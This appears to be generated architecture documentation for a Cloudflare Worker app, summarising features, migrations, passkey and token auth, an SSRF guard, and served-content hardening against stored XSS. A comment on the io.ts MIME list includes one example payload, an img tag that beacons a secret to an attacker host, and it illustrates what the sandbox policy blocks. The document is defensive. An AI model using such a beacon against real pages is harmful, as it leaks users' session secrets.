MIGRATIONS. WIRED. HOST: schema.ts's boot migration pile gains a tail loop over composeMigrations(FEATURES). Core migrations are an append-only pile of idempotent (PRAGMA-guarded) ALTER blocks run on EVERY boot with no stored-version gate, so feature migrations run the same way — version is purely the global ordering + collision slot, not a run condition. WHERE IT RUNS: boot, after the kernel DDL loop + core migrations. Composer sorts by version and asserts version uniqueness across features so two features can't claim the same slot.

NOTE on feature-vs-CORE versions: the two share ONE version space BY DESIGN — a feature carved out of core keeps its historical version for idempotent ordering (e.g. documents owns v12, moved from the core pile). So there is no clean floor that separates them; CORE versions live in schema.ts (an un-importable procedural pile), so feature-vs-core uniqueness is the migration author's responsibility, the same as adding to the core pile. This composer enforces what it CAN see — feature-vs-feature uniqueness. (A FEATURE_MIGRATION_MIN floor was tried and reverted: it broke documents v12, which legitimately lives in the core range.)

ComposeRoutesOptionsinterface

Route-composition guardrails passed IN from src/index.ts (which owns the Auth enum and the CORE route table). Threaded as plain data so compose.ts stays dependency-light (no router-runtime import, no cycle).

composeRoutesfunction

ROUTES. HOST: src/index.ts routes[] becomes [...CORE_ROUTES, ...composeRoutes(FEATURES, opts)], and BACKEND_PREFIXES absorbs each route's backendPrefix. WHERE IT RUNS: module load of index.ts (the route table is built once). Feature routes are appended AFTER core routes (declaration-order matching means a feature route can never shadow a core route), and the composer asserts: (a) no two features claim the same method+pattern; (b) every auth is a valid Auth enum VALUE (fail-closed — never silently NONE); (c) no feature route collides with a CORE route (else silently dead).

assertWiredSlotsfunction

Throw if any feature populates a slot that isn't yet wired into its host file. Runs at module load from src/index.ts (the guaranteed-to-run chokepoint), beside composeRoutes. Converts a silent no-op into a clear, actionable error.

composeToolsfunction

TOOLS. DESIGNED — NOT YET WIRED (consistent with the file header). No host imports composeTools today: tools.ts does NOT yet concatenate it, and session.ts does NOT yet call each feature tool's register. When tools.ts adopts the array, TOOLS will concatenate composeTools(FEATURES) (the metadata half, feeding /api/tools + MCP registration listing) and session.ts will call each feature tool's register(server, hive) during MCP setup (the handler half) — metadata at module load, register once per session at MCP init. Composer asserts tool-name uniqueness so the seam is correct the moment it's wired.

composeSystemDocsfunction

SYSTEM DOCS. DESIGNED — NOT YET WIRED (consistent with the file header). No host imports composeSystemDocs today: schema.ts does NOT yet concatenate it. When schema.ts adopts the array, its seed list will concatenate composeSystemDocs(FEATURES) at boot, alongside the core doc seeding. Composer asserts slug uniqueness so the seam is correct the moment it's wired.

feature.tsentities/features/feature.ts

feature.ts — the Feature TYPE: one per-feature declaration that FEEDS the scattered registries from a single co-located module.

A "feature" is the extensibility keystone. Today a feature's footprint is smeared across registries a forker's agent must find and edit in lockstep: - post-mutate side effects → entities/Hive/effects.ts (PATTERN_EFFECTS) - HTTP routes → src/index.ts (routes[]) - MCP tools → entities/Session/tools.ts (TOOLS) - kernel patterns + DDL → entities/Hive/schema.ts (KERNEL_PATTERNS) - write-policy class → entities/Hive/policy.ts (KERNEL_WRITE_POLICY) - system docs → src/system-docs/.md (imported in schema.ts) - coherence spec → <dir>/.spec.md

A Feature object declares each of those contributions in ONE place. The composers in this directory then DERIVE the registries from FEATURES (the barrel in ./index.ts). Adding a feature = create one dir + add one import line to the barrel — its whole footprint is legible in the manifest, not scattered.

This file is intentionally dependency-light: it imports only the TYPES of the contributions, never the runtime registries, so a feature manifest can be read (and reasoned about) in isolation. effects is wired end-to-end today; the remaining fields are TYPED and documented so the next agent fills a slot rather than re-discovering a registry. See ./compose.ts for what is live vs. designed.

FeaturePatterninterface

A kernel-pattern declaration as schema.ts expects it (DDL + facet metadata + doctrine). Kept as the existing KernelTable shape so a feature can hand schema.ts a row verbatim — composePatterns folds these into KERNEL_TABLES, and the boot DDL loop / _fields seeding / verifyFieldsIntegrity treat them identically to a CORE row. indexes mirror the KernelTable field (a feature pattern may carry its own unique/partial indexes, e.g. _pages' path index).

FeatureMigrationinterface

A one-shot, idempotent ALTER/backfill keyed by a monotonic version, mirroring the runMigrations switch in schema.ts. Runs at boot, after pattern DDL.

FeatureRouteinterface

A route contribution: the existing Route shape plus the handler. Imported as a type only so the manifest doesn't pull the router runtime. The composer splices these into the routes[] array in src/index.ts in feature-declaration order, AFTER the core routes (a feature route can't shadow a core route).

FeatureToolinterface

MCP tool metadata — the ToolMeta shape from tools.ts. A feature that adds an agent-facing verb declares it here; the composer concatenates onto TOOLS. The feature ALSO supplies the Zod schema + handler wiring (a registerTool callback) since session.ts binds those — see compose design notes.

FeatureSystemDocinterface

A system-doc contribution: the raw markdown (imported as a text module) plus its slug/title, seeded into _system_docs at boot exactly like schema.ts does.

Featureinterface

One feature, declaring every registry contribution it makes. Only name is required; every contribution field is optional so a feature opts into exactly the registries it touches.

index.tsentities/features/index.ts

index.ts — the FEATURE BARREL. The whole feature set, in one greppable place.

Adding a feature is TWO edits, both here-adjacent: 1. create entities/features/<name>/manifest.ts exporting a Feature 2. add ONE import line + ONE array entry below

The composers in ./compose.ts derive every scattered registry from FEATURES. effects is live today: entities/Hive/effects.ts sets PATTERN_EFFECTS = composeEffects(FEATURES) instead of a hand-written literal. The remaining registries adopt their composer in their own host file (see compose.ts for each landing spot).

security.tsentities/features/security.ts

security.ts — the FEATURE-SECURITY BARREL. The dependency-free merge of every feature's pure-data security contribution (write class + egress sensitivity), imported by entities/Hive/policy.ts to compose the EFFECTIVE write-policy / sensitive-column maps.

THE LEAF-PRESERVATION INVARIANT (read before editing): policy.ts is the dependency-free security leaf — every enforcement layer derives from it without a cycle. policy.ts may import THIS barrel only because this barrel (and the per-feature /security.ts files it re-exports) imports nothing but PURE DATA and TYPES. It MUST NOT import a feature manifest.ts (manifests carry code: effect bodies, route handlers — importing one would pull runtime code into the security leaf and risk a cycle). When a new feature owns kernel patterns, add its pure-data /security.ts here, NOT its manifest.

Collisions fail LOUDLY (throw) rather than silently last-write-wins — two features claiming the same pattern's write class or sensitive columns is a bug.

THE DOMAIN IS THE LIVE FEATURE SET. A single registry — FEATURE_SECURITY — holds one entry per feature ({name, writePolicy?, sensitiveColumns?}); BOTH the write-policy and the sensitive-column maps are DERIVED by iterating it. There is no second hand-list to fall out of sync, so a feature's sensitive columns can no longer be silently dropped while its write policy is wired (the prior bug: the barrel composed write policy from one list and sensitive columns from another, and the second omitted pages — with no egress totality oracle to catch it).

FeatureSecurityinterface

One feature's complete pure-data security contribution: its write-class rows and its egress-sensitive columns, in a SINGLE object. Both halves of a feature's security footprint travel together so neither can be dropped independently — the bug this shape exists to kill (a feature whose sensitiveColumns silently never reached SENSITIVE_COLUMNS because the barrel's second hand-list forgot it).

FEATURE_WRITE_POLICYconst

Every feature's write-class rows, derived from FEATURE_SECURITY. Folded into the effective KERNEL_WRITE_POLICY by policy.ts ({...CORE, ...FEATURE_WRITE_POLICY}).

FEATURE_SENSITIVE_COLUMNSconst

Every feature's egress-sensitive columns, derived from THE SAME FEATURE_SECURITY array. Folded into the effective SENSITIVE_COLUMNS by policy.ts. Because both maps iterate the one registry, a feature's sensitive columns can no longer be dropped independently of its write policy — and verifyEgressTotality asserts it.

FEATURE_DECLARED_SENSITIVEconst

The flat list of every sensitive column declared by ANY feature — the DECLARED domain the egress totality oracle (policy.ts verifyEgressTotality) checks survives into the composed SENSITIVE_COLUMNS. Derived from FEATURE_SECURITY so it cannot drift from what the features actually declare.

hooks.tsentities/features/documents/hooks.ts

documents/hooks.ts — the documents feature's PRE-MUTATION HOOKS, as code.

This is the "a feature owns its kernel pattern's HOOKS" half of the footprint — the last piece after schema.ts (structure) and security.ts (write class + egress). The _documents create-time validation (title required; visibility enum) and its IMMUTABLE bookkeeping fields (system-managed on upload/extraction) live here, NOT in entities/Hive/kernel.ts. composeKernelHooks (entities/features/ compose.ts) folds them back into kernel.ts's ON_CREATE / IMMUTABLE registries, so applyKernelRules — the kernel chokepoint every mutate runs through — enforces them byte-for-byte the same. Only the DECLARATION moved; ENFORCEMENT stays at the kernel chokepoint, exactly like effects compose into PATTERN_EFFECTS but fire at the mutate chokepoint.

LEAF-PRESERVATION / NO-CYCLE INVARIANT (read before editing): kernel.ts composes this file in (FEATURES → manifest → hooks), so this file MUST import ONLY TYPES from kernel.ts (import type). A runtime import of kernel.ts here would close a kernel.ts → features → hooks → kernel.ts RUNTIME cycle. Type imports are erased at runtime, so the back-edge stays type-only and no cycle forms.

manifest.tsentities/features/documents/manifest.ts

documents — R2-backed file store feature.

The whole feature, legible in one place. effects + routes are composed end-to-end today. The remaining slots are commented pointers to the live registries that still own them — not duplicated definitions, so there is exactly one source of truth per registry until migration.

patterns + migrations → ./schema.ts (pure data: _documents DDL/facets + the v12 extraction-columns migration), folded into schema.ts's KERNEL_TABLES + boot migration pile by composePatterns / composeMigrations. Wired below. writePolicy + egress → ./security.ts (pure data: _documents write class + r2_key redaction), composed into the effective KERNEL_WRITE_POLICY / SENSITIVE_COLUMNS by entities/features/security.ts. Re-exported below so the feature's security footprint is legible from its dir. systemDocs → src/system-docs/http-io.md (shared with the other HTTP-I/O features — egress/publications/ingress — so it stays a single doc, not split per-feature)

manifest.tsentities/features/system-tasks/manifest.ts

system-tasks — dispatch-on-create maintenance jobs.

Live slot: effects (run the task post-commit). Other registries: patterns/writePolicy → schema.ts (_system_tasks DDL) + policy.ts routes → src/index.ts (/dev/seed-vectors triggers the task path)

schema.tsentities/features/documents/schema.ts

documents/schema.ts — the documents feature's PATTERN STRUCTURE, as PURE DATA: the _documents kernel-pattern declaration (DDL + facet metadata + doctrine) and the feature's own schema migration. This is the "a feature owns its schema" half of the footprint, kept SEPARATE from manifest.ts so it stays pure data + TYPES only (no route handlers, no effect bodies) — composePatterns/composeMigrations (entities/features/compose.ts) fold it back into schema.ts's KERNEL_TABLES + boot migration pile, byte-for-byte the same rows the central array used to hold, so verifyFieldsIntegrity (the DDL↔_fields drift oracle) sees no change.

NOTE: the kernel pre-mutation HOOKS for _documents (the title-required create validation + the immutable r2_key/size/etc. bookkeeping invariants) live in the sibling ./hooks.ts (code, type-only kernel import), composed into kernel.ts's ON_CREATE / IMMUTABLE registries and enforced at the applyKernelRules chokepoint.

security.tsentities/features/documents/security.ts

documents/security.ts — the documents feature's WRITE-POLICY + EGRESS-SENSITIVITY contribution, as PURE DATA. This is the security half of the feature's footprint, kept SEPARATE from manifest.ts on purpose: policy.ts (the dependency-free security leaf) folds this in, and policy.ts MUST NOT pull a manifest (manifests carry code — effect bodies, route handlers — which would drag the enforcement layers into the security leaf and risk an import cycle).

So this file imports ONLY TYPES (erased at runtime → no runtime edge into policy.ts) and NOTHING else. It is the single home for "what write class is _documents, and which of its columns must never leave the DO" — composed back into the effective KERNEL_WRITE_POLICY / SENSITIVE_COLUMNS by entities/features/security.ts.

Authclaimed
Credential primitives — multi-member passkeys and scoped access/register tokens — isolated as pure db-accessor functions.
why

Auth primitives (passkeys + access/register/auth tokens) are isolated as pure db-accessor functions so credential concerns stay separate from the cognitive substrate; the multi-row passkey model (one credential per member, NULL = bootstrap owner) exists because one shared hive is authenticated into by several people each acting as themselves. resolveRegisterToken deliberately re-validates scope/owner/roster at setup/consume time — independent of how the token's fields were set — because an adversarial review showed mint-time checks alone could be bypassed by a post-create constraints update to mount an owner-takeover, and a malformed member-less token must be unusable rather than defaulting to the owner sentinel.

Access tokens are stored HASHED at rest (hashToken, SHA-256): findAccessToken hashes the presented value and compares digests, mint stores only the digest (the raw token is shown once), and a boot migration hashes any legacy plaintext token in place. So a read of an _access_tokens row — a query, a search hit, a leaked DO snapshot — discloses only a digest, never a usable bearer. This is a deliberate exception to "store truth once": the secret's preimage is never persisted, which neuters the entire "a token reached a read sink" class independent of which sink leaks. Because the column holds a digest, every lookup that needs the token is async (crypto.subtle.digest), which is why these accessors return Promises.

works when
credentials.ts exists at this node fast
passkey.ts exists at this node fast
passkey.ts imports @simplewebauthn/server fast
credentials.tsshared/Auth/credentials.ts

Credential infrastructure: passkey storage + access token operations

Pure functions that take a db accessor. HiveDO keeps thin RPC wrappers. Auth concerns separated from the cognitive substrate.

why

Auth primitives (passkeys + access/register tokens) isolated as pure db-accessor functions so credential concerns stay separate from the cognitive substrate. The multi-row passkey model (one credential per member, NULL = bootstrap owner) exists because one hive is shared by several people who each authenticate as themselves. resolveRegisterToken re-validates scope/owner/roster at setup/consume time — independent of how the token's fields were set — because an adversarial review showed mint-time checks alone could be bypassed by a post-create constraints update to mount an owner-takeover; a malformed member-less token must be unusable rather than defaulting to the owner sentinel.

hasPasskeyfunction
getPasskeysfunction

All registered passkeys — the authentication candidate set.

storePasskeyfunction

Store a member's passkey, replacing any existing credential for that same member (per-member rotation — the original "single credential, replaced on re-registration" semantic, now scoped to one member). member is the member label, or null for the bootstrap owner credential.

updatePasskeyCounterfunction

Bump the signature counter for a specific credential (clone detection).

hashTokenfunction

SHA-256 hex of a token. Access tokens are stored HASHED at rest — the raw token is shown once at mint, and every lookup hashes the presented value and compares digests. So a read of an _access_tokens row (a query, a search hit, a leaked DO snapshot) discloses only a digest, never a usable bearer. This is the architectural stance that neuters the whole "token reached a serve sink" class regardless of which sink leaks.

findAccessTokenfunction

Find a valid (non-archived, non-expired, non-consumed) access token. Hashes the presented token and matches against the stored digest.

consumeTokenfunction

Mark a token as consumed (for single-use tokens).

validateAccessTokenfunction

Validate a token against a required scope. Consumes single-use tokens.

resolveTokenActorfunction

Validate a token and resolve the actor (member) it authenticates as. Returns the member label, or null if the token is invalid / out of scope / belongs to a suspended-or-archived member. A token with no member resolves to the owner sentinel (legacy and headless tokens). Used by the OAuth external-token path to attribute the resulting session to a person.

isMemberActivefunction

A member exists, is active, and not archived. The owner sentinel is always active.

getRegisterTokenfunction

Register-token info for the approval page (does not require approval). Returns the member + display fields and whether it has already been approved.

resolveRegisterTokenfunction

Resolve a register token for the /setup flow. Adds the human-approval gate on top of validateRegisterToken: an invite is inert until a member approves it via passkey at /invite/{token}. This is the last line before a passkey is bound, so an unapproved (or tampered) token must not pass.

approveRegisterTokenfunction

Mark a register token approved (human-present passkey approval). Validates the same invariants, then stamps approved_at via raw SQL — approved_at is IMMUTABLE on the mutate path, so this is the only way it can be set. Returns the member approved, or null if the token is invalid / not a register token.

validateAuthCodefunction

Validate a token as a LOGIN credential — full-access (*) scope ONLY. A capability token (marketplace/read/upload/document/register) is deliberately distributed at LOWER privilege and must never redeem as an owner login; without this gate a marketplace-clone token or a shared read:entry link would escalate to full owner access via /authorize|/login. Mirrors resolveTokenActor's scope check.

consumeAuthCodefunction

Validate and consume a single-use LOGIN token (browser auth) — full-access (*) scope ONLY, for the same reason as validateAuthCode.

passkey.tsshared/Auth/passkey.ts

WebAuthn passkey registration + authentication (SimpleWebAuthn).

why

Lazy-imported (dynamic import in routes/auth) to dodge a tslib resolution issue in the vitest/workerd test environment. User verification is required on both registration and authentication so the passkey is a true second factor, not merely possession of the device.

imports @simplewebauthn/server, https://esm.sh/@simplewebauthn/browser@13
StoredPasskeyinterface
setupPagefunction

Passkey registration page. Shown at /setup?token=SECRET

passkeyLoginPagefunction

Login page — passkey-first with secret fallback

IOclaimed
Outbound and inbound adapters: derived publication renderers, web-URL resolution with caching, git pack assembly, and text extraction.
why

IO holds the adapters that move data across the hive's boundary, kept as focused single-purpose modules so each owns one concern. Publications render live pattern projections at request time (never stored) per the "data is destiny" doctrine; web.ts caches adapter-fetched content as durable memory with a re-fetch-horizon TTL and refuses blocked hosts; extract.ts splits inline text extraction from async PDF extraction off the response path because only the DO has waitUntil, capping extracted text to stay under the entry size limit.

works when
publications.ts exists at this node fast
web.ts exists at this node fast
git.ts exists at this node fast
extract.ts exists at this node fast
extract.tsshared/IO/extract.ts

Document text extraction: bytes → searchable text.

The extracted text lands in the _documents.extracted_text facet, where it's covered by search (FTS over text facets) and prime (embedEntry embeds text facets). So extraction is the only missing piece — indexing is free.

Two tiers run inline-cheap vs async-heavy: - text-family (text/*, json, xml, csv, markdown): decode the bytes, no deps. - PDF: unpdf (serverless pdf.js) — runs in workerd (spiked), but CPU-heavier, so the caller runs it off the response path (waitUntil). Anything else (images, office docs) is unsupported for now.

why

Inline text extraction runs synchronously but PDF extraction is deferred to the DO's waitUntil off the response path, because only the Durable Object has waitUntil and PDF parsing is slow; extracted text is capped to stay under the 1 MB entry limit. Extraction is the only missing piece for document search/recall — once text lands in _documents.extracted_text, search (FTS) and prime (embedding) cover it for free.

TEXT_CHARS_CAPconst

Cap stored text well under the 1 MB entry limit (length×2 bytes); enough to cover the searchable substance of most documents.

capTextfunction
isTextLikefunction

True for content types we can read directly as UTF-8 text.

isPdffunction
decodeTextfunction

Decode raw bytes as UTF-8 text (lossy on invalid sequences).

extractPdfTextfunction

Extract text from a PDF via unpdf (serverless pdf.js). Pages merged.

extractionPlanfunction

Classify what extraction a content type gets, without doing the work.

git.tsshared/IO/git.ts

git.ts — Minimal git smart HTTP for read-only marketplace serving

Synthesizes a virtual git repo from a file tree (path → content). Implements just enough of the git smart HTTP protocol for git clone. No actual git repo on disk. No push support. No delta compression.

why

Synthesizes a virtual git repo from an in-memory file tree and speaks just enough of the git smart-HTTP protocol for read-only git clone, so the marketplace serves plugins/skills over standard git tooling with no repo on disk and no push path. Deliberately minimal — no delta compression, no write support — because the only consumer is read-only clone.

imports node:crypto, node:zlib
og-png.tsshared/IO/og-png.ts

SVG → PNG on the worker, no browser. resvg is pure WASM (the rasterizer half of the @vercel/og stack); it needs font bytes supplied since workerd has no system fonts, so we embed the two we use. Used to turn an OG card SVG into a PNG that unfurls everywhere.

imports @resvg/resvg-wasm, @resvg/resvg-wasm/index_bg.wasm
svgToPngfunction
publications.tsshared/IO/publications.ts

Publication renderers: live pattern data → HTML / RSS / JSON / Markdown.

A publication entry declares the projection; these functions derive the document at request time. Nothing rendered is ever stored — the page is a consequence of current truth ("data is destiny" applied to publishing).

The template seam is deliberately small: {{facet}} substitution plus a few specials. Template text passes through raw (owners may write markup); substituted VALUES are escaped in html/rss contexts. No logic, no loops.

why

Publications render live pattern projections at request time and store nothing, so the served page is always a consequence of current truth (data-is-destiny applied to publishing). The per-entry template seam substitutes HTML-escaped values into raw template text so an owner can shape output without the projection becoming a stored, drift-prone artifact; superseded entries are excluded by default because a publication projects current truth.

RenderContextinterface
Renderedinterface
renderTemplatefunction

Substitute {{facet}} placeholders. Specials: _label, _uri, _id, _updated_at. Unknown placeholders become empty strings. escape is applied to VALUES only.

web.tsshared/IO/web.ts

Web URL resolution via resolve()

Fetches web content through adapter dispatch, caches in _web_cache, embeds for prime recall. Pure functions with context injected.

why

Adapter-fetched web content is cached in _web_cache as durable memory, not a TTL-evicted cache: the TTL is a re-fetch horizon, active content is retained indefinitely and surfaces in prime recall, and a re-fetch that returns empty never overwrites a good snapshot. Blocked hosts (loopback/private/link-local/metadata) are refused before fetch, sharing the same isBlockedFederationHost SSRF guard as federation so the boundary is defined once.

WebContextinterface
resolveWebfunction
Routingclaimed
Declarative HTTP dispatch and session machinery: pattern-matched route table plus constant-time, revocable session auth helpers.
why

The router is the worker's declarative HTTP dispatch (method, pattern, auth gate, param constraints matched in declaration order) with handlers grouped by domain under routes/, so the full routing surface stays scannable. Its auth helpers are security-load-bearing: timingSafeEqual is constant-time to close a timing-attack finding on secret/token/signature checks, and session cookies carry a random sid plus a KV-stored epoch so every session can be revoked without rotating MNEMION_SECRET, while encoding the actor backward-compatibly so deploys don't force a re-login.

Served-content inertness is the read/serialization dual of the security boundaries: agent- or uploader-authored content served on the FIRST-PARTY origin (which holds the owner's session cookie and can drive /api/*//mcp) must never run as active script. The boundary was a CONVENTION ("any served path neutralizes active MIME") correctly implemented at /o but silently drifted at two siblings — /p publications omitted the sandbox directive (so owner-authored markup ran same-origin), and /f documents echoed the UPLOADER-controlled Content-Type inline with neither nosniff nor sandbox, turning a text/html upload into stored XSS / owner-session theft. The fix makes the convention a CONTRACT: one chokepoint, inertHeaders(contentType) (routes/io.ts), classifies every served MIME into safe-inline vs active (ACTIVE_SERVED_MIMEContent-Security-Policy: sandbox; default-src 'none', forced attachment for the file store) and always sets X-Content-Type-Options: nosniff; serveOutput/servePublication/serveDocument all route through it. The served-content inertness totality oracle enumerates the served egress routes (driving each with active content) AND iterates the live ACTIVE_SERVED_MIME registry, asserting every served path returns inert headers — so a NEW served path that emits un-neutralized active content fails the build. The block-list of per-handler MIME handling that could fail open became one chokepoint with a totality over it.

Served-read gating is the auth dual of inertness: where inertness governs HOW served content is emitted, this governs WHETHER a visibility-gated resource is served at all. Every served READ route that exposes a _shared/_outputs/_publications/_documents resource must refuse an unlisted/private resource to an unauthenticated caller — enforced by denyUnlessBearerScope (the bearer gate) plus the secretless-deploy 404 short-circuit. This was a CONVENTION ("any new served read route remembers to gate"), a 5-call-site block-list that fails open the moment one route forgets. The served bearer-gating totality oracle iterates the served gated-read route table and asserts each refuses an unlisted resource WITHOUT a token (and that the body/secret never rides a refusal) — so a new served read route that exposes a gated resource un-gated would serve the unlisted body and fail. Anchored via guard: it enumerates a fixed route-shape set, not a runtime-varying domain.

works when
router.ts exists at this node fast
router.ts imports ../core/constants fast
routes/auth.ts exists at this node fast
routes/io.ts exists at this node fast
routes/io.ts imports ../router fast
boundary "served-content inertness" at inertHeaders via test "served-content inertness totality" fast
boundary "served-read gating" at denyUnlessBearerScope via guard "served bearer-gating totality" fast
depends on OAUTH_KV
router.tsshared/Routing/router.ts

Declarative HTTP dispatch: a route table matched in declaration order.

why

The auth helpers here are security-load-bearing: timingSafeEqual is constant-time specifically to close a timing-attack finding on master-secret / setup-token / session-signature checks (replacing ===), and session cookies carry a random sid plus a KV-stored epoch so every session can be revoked without rotating MNEMION_SECRET. The route table keeps the whole HTTP surface scannable (method, pattern, auth gate, handler per line) so the system's shape is graspable from the declarations alone.

binds OAUTH_KV
Envinterface
Methodenum
Authenum
RouteContextinterface
Routeinterface
timingSafeEqualfunction

Constant-time string comparison. Hashes both inputs to fixed-length digests and compares with a branch-free XOR accumulator, so timing does not leak the length or content of the expected value. Use for any comparison against the master secret or an HMAC signature.

isDevAutoApprovefunction

Dev auto-approve is OPT-IN, never the default. A missing MNEMION_SECRET alone used to mean "auto-approve every request as the owner" — fail-OPEN: a secretless PRODUCTION deploy served every owner-only API unauthenticated. It now applies ONLY when DEV is also explicitly set (the dev script + [env.test] set it), so an unconfigured instance fails CLOSED. "Unconfigured" means no access, not all access.

denyUnlessBearerScopefunction

The Bearer-token serve gate, in one place. Parses Authorization: Bearer <token> and validates it against the required scope via the hive. The ONLY thing a served/ingress route varies is the scope string (read:output:<path>, write:input:<path>, …); the header parse + the validateAccessToken call — the security invariant — live here so they can't drift per call site, and a new served route inherits the exact gate by passing only its scope.

Returns null when the request is authorized (proceed); otherwise the 401 Unauthorized Response the caller returns directly. Call sites still own their surrounding allow-list (visibility !== "public") and the dev-mode 404 refusal; this owns only the common Bearer parse + validate that was copied verbatim.

revokeAllSessionsfunction

Revoke every existing session by bumping the stored epoch. Cookies embed the epoch they were minted under, and validateSession rejects any whose epoch no longer matches — so the owner can invalidate all sessions (e.g. after a suspected cookie theft) without rotating MNEMION_SECRET. KV is eventually consistent, so global propagation can take up to ~60s.

createRouterfunction
auth.tsshared/Routing/routes/auth.ts
imports https://esm.sh/@simplewebauthn/browser@13
binds OAUTH_KV
revokeSessionsconst

POST /sessions/revoke — invalidate ALL browser sessions (Auth.SECRET gated). Bumps the session epoch so every issued cookie stops validating, without rotating MNEMION_SECRET. Use after a suspected session-cookie compromise.

dev.tsshared/Routing/routes/dev.ts
seedVectorsconst

Seed vectors: embed all existing entries into Vectorize. Gated behind Auth.SECRET — requires master secret.

io.tsshared/Routing/routes/io.ts
imports fflate
ACTIVE_SERVED_MIMEconst

Active/renderable types we make inert. sandbox (with no allow-tokens) treats the response as a unique opaque origin: scripts don't run, forms are disabled, and same-origin access (cookies, /api/*) is severed; default-src 'none' also blocks every sub-resource so it can't beacon a secret out via <img src="//attacker/?leak">. So agent-authored HTML/SVG renders for the documented egress feature yet can't execute script or steal the owner's session.

inertHeadersfunction

The single inertness decision for served egress. Given the raw, possibly attacker-chosen Content-Type, return the Content-Type to emit plus the security headers that neutralize it. Active types are sandboxed (CSP) and, when forceAttachment is set (a file store like /f), also forced to download. Every result carries X-Content-Type-Options: nosniff.

servePageconst

Public page (a _pages entry with visibility=public): server-rendered HTML with charts as inline SVG + OG meta. renderPublicPage returns null for missing or non-public pages — a positive allow-list, like publications.

servePageOgPngconst

PNG OG card (rasterized from the SVG via resvg) — the robust unfurl image.

uploadconst
marketplace.tsshared/Routing/routes/marketplace.ts
pages.tsshared/Routing/routes/pages.ts
Coreclaimed
Cross-cutting primitives shared by both the worker and the SPA: product identity, the declarative UI palettes (view / format / block / chart) an agent authors against, and dev-only seed data.
why

Core is the layer both runtimes depend on but neither owns, so it carries zero env-specific imports and stays pure data — that purity is what lets the same module validate a write in the worker and render it in the SPA without forking.

Its center of gravity is the agent-authorable UI: view-palette (how a pattern renders), format-palette (how a value renders), block-palette (how a page composes), and the chart pair (chart-spec + chart-svg). These are the canonical instances of the "self-enforcing declarations" doctrine — one declarative table that is simultaneously the spec an agent reads, the validator the kernel derives (validateViewSpec/validateBlocks/validateFormatsMap, fail-closed at the mutate chokepoint), and the totality oracle the SPA's Record<…Id, Component> enforces at compile time. The agent composes UI from these tables as data, never as code, which is what makes live agent-authored rework safe.

The chart layer is deliberately split so one spec drives two renderers: chart-spec is the single home for the mark set, the categorical color palette, and the long→wide series pivot, and both the in-hive Recharts renderer and the server SVG renderer (chart-svg, for published pages and OG cards) derive from it — so a dataset reads identically in-hive and on a public page. constants keeps product identity (PRODUCT_NAME, URI_SCHEME, uri()) in one place so the scheme is never hardcoded. dev-seed is gated and runs only in the DO constructor under DEV_SEED; it writes via raw SQL (trusted, bypassing the kernel hook), so its contents must stay valid against these same palettes by hand — it is inert in production.

works when
constants.ts exists at this node fast
view-palette.ts exists at this node fast
view-palette.ts imports ./format-palette fast
format-palette.ts exists at this node fast
block-palette.ts exists at this node fast
chart-spec.ts exists at this node fast
chart-svg.ts exists at this node fast
chart-svg.ts imports ./chart-spec fast
dev-seed.ts exists at this node fast
block-palette.tsshared/core/block-palette.ts

The block palette — the declarative vocabulary for composing a page (a _pages entry). A page is { blocks: Block[] }; each block is { type, ...config, width? }, validated against this palette (fail-closed) and rendered against a fixed component set in the SPA. The same safe boundary as the view/format palettes, one level up: arbitrary COMPOSITION (any blocks, any order, referencing any pattern/entry), never arbitrary CODE.

Pure data, zero env-specific imports — bundled into both the worker (validation) and the SPA (rendering).

BlockTypeinterface
isBlockTypefunction
validateBlocksfunction

Validate a page's blocks JSON against the palette + the hive (pattern/facet references). Returns [] when valid. Empty/absent blocks = a valid (empty) page.

chart-spec.tsshared/core/chart-spec.ts

The chart vocabulary shared by BOTH renderers — the in-hive Recharts renderer (web/src/Chart.tsx) and the server SVG renderer (chart-svg.ts, public pages + OG cards). One home for: the mark set, the categorical color palette (so the same dataset reads identically in-hive and on a published page), and the long→wide pivot that turns multi-dimension aggregate rows into per-series columns. Pure data, zero env deps — bundled into both worker and SPA.

CONTINUOUS_MARKSconst

Mark categories — which machinery a mark needs. Derived from, never duplicated.

isChartMarkfunction
SERIES_COLORSconst

Categorical palette — the notebook accent first, then a tuned spread that holds up on the warm paper background (#f1efe8). Cycled by index for series/slices.

seriesColorfunction
isRoundfunction

Mark-category membership — the single home both renderers MUST agree on (was re-inlined as mark === "bar" || mark === "area" etc. in three files). Adding a mark to a set above now flows to every renderer through these.

isContinuousfunction
isStackablefunction
SERIES_NONEconst

The label NULL/empty series values bucket under, so a row with no series value is named rather than silently dropped from the chart.

groupKeyfunction

A group field may carry a :unit datetime bucket (e.g. "created_at:month"). The query engine GROUPs BY the full "facet:unit" but aliases the OUTPUT column to the bare facet — so the GROUP BY uses the full field while the sort field, the row read-key, and the pivot/dataKey must use the bare facet. Split once, here.

aggSpecfunction

The aggregate wire-spec ({fn, facet?, as:'value'}) in one place (server chartData + client ChartView both built this literal independently).

ResolvedChartinterface

A chart spec, resolved once at the boundary: aliases (x|group_by, y|metric) and defaults (mark, agg) collapsed, and the :unit bucket split into groupBy (the full field for GROUP BY) vs x/series (the bare column the engine aliases it to, which rows/sort/pivot/dataKey read). Both renderers derive from this so they can't resolve aliases or buckets differently.

ChartQueryKindtype

The query plan for a resolved chart — what to fetch and how to aggregate/sort. The SERVER (hive.chartData via this.query) and the CLIENT (ChartView via /api/query) both derive their query from this ONE function, so the in-hive chart and the published/OG chart can't aggregate, sort, bucket, or truncate differently.

ChartQueryinterface
chartQueryfunction
resolveChartfunction
compactNumfunction

Compact number formatting shared by axes, labels, and tooltips (no Intl on the server SVG path — keep one deterministic implementation).

pivotSeriesfunction

Long rows [{ [xKey]: x, [seriesKey]: s, [valueKey]: v }, ...] from a two-facet aggregate → wide rows [{ [xKey]: x, [s1]: v, [s2]: v, ... }] plus the ordered list of series keys (first-seen order). Missing cells are 0-filled so stacked marks and multi-line charts don't tear. x order is first-seen (the caller sorts the aggregate by x, so this preserves it).

chart-svg.tsshared/core/chart-svg.ts

The SERVER renderer for a chart spec: pure SVG string, no DOM, no deps. Same spec + palette as the in-hive Recharts renderer (web/src/Chart.tsx, both derive from chart-spec.ts) — this one produces static SVG for published pages and OG cards. Marks: bar | line | area | scatter | pie | donut, single- or multi-series (grouped/stacked), with a legend.

Datuminterface
SeriesDatainterface

Multi-series payload: wide rows (one per x) with one numeric column per series key, already pivoted (chart-spec.pivotSeries) and sorted by x.

ChartSvgOptsinterface
renderChartSvgfunction

=== Unified entry: dispatch a payload to the right mark renderer ============ mark selects the shape; payload.multi selects single vs grouped/stacked.

chartOgSvgfunction

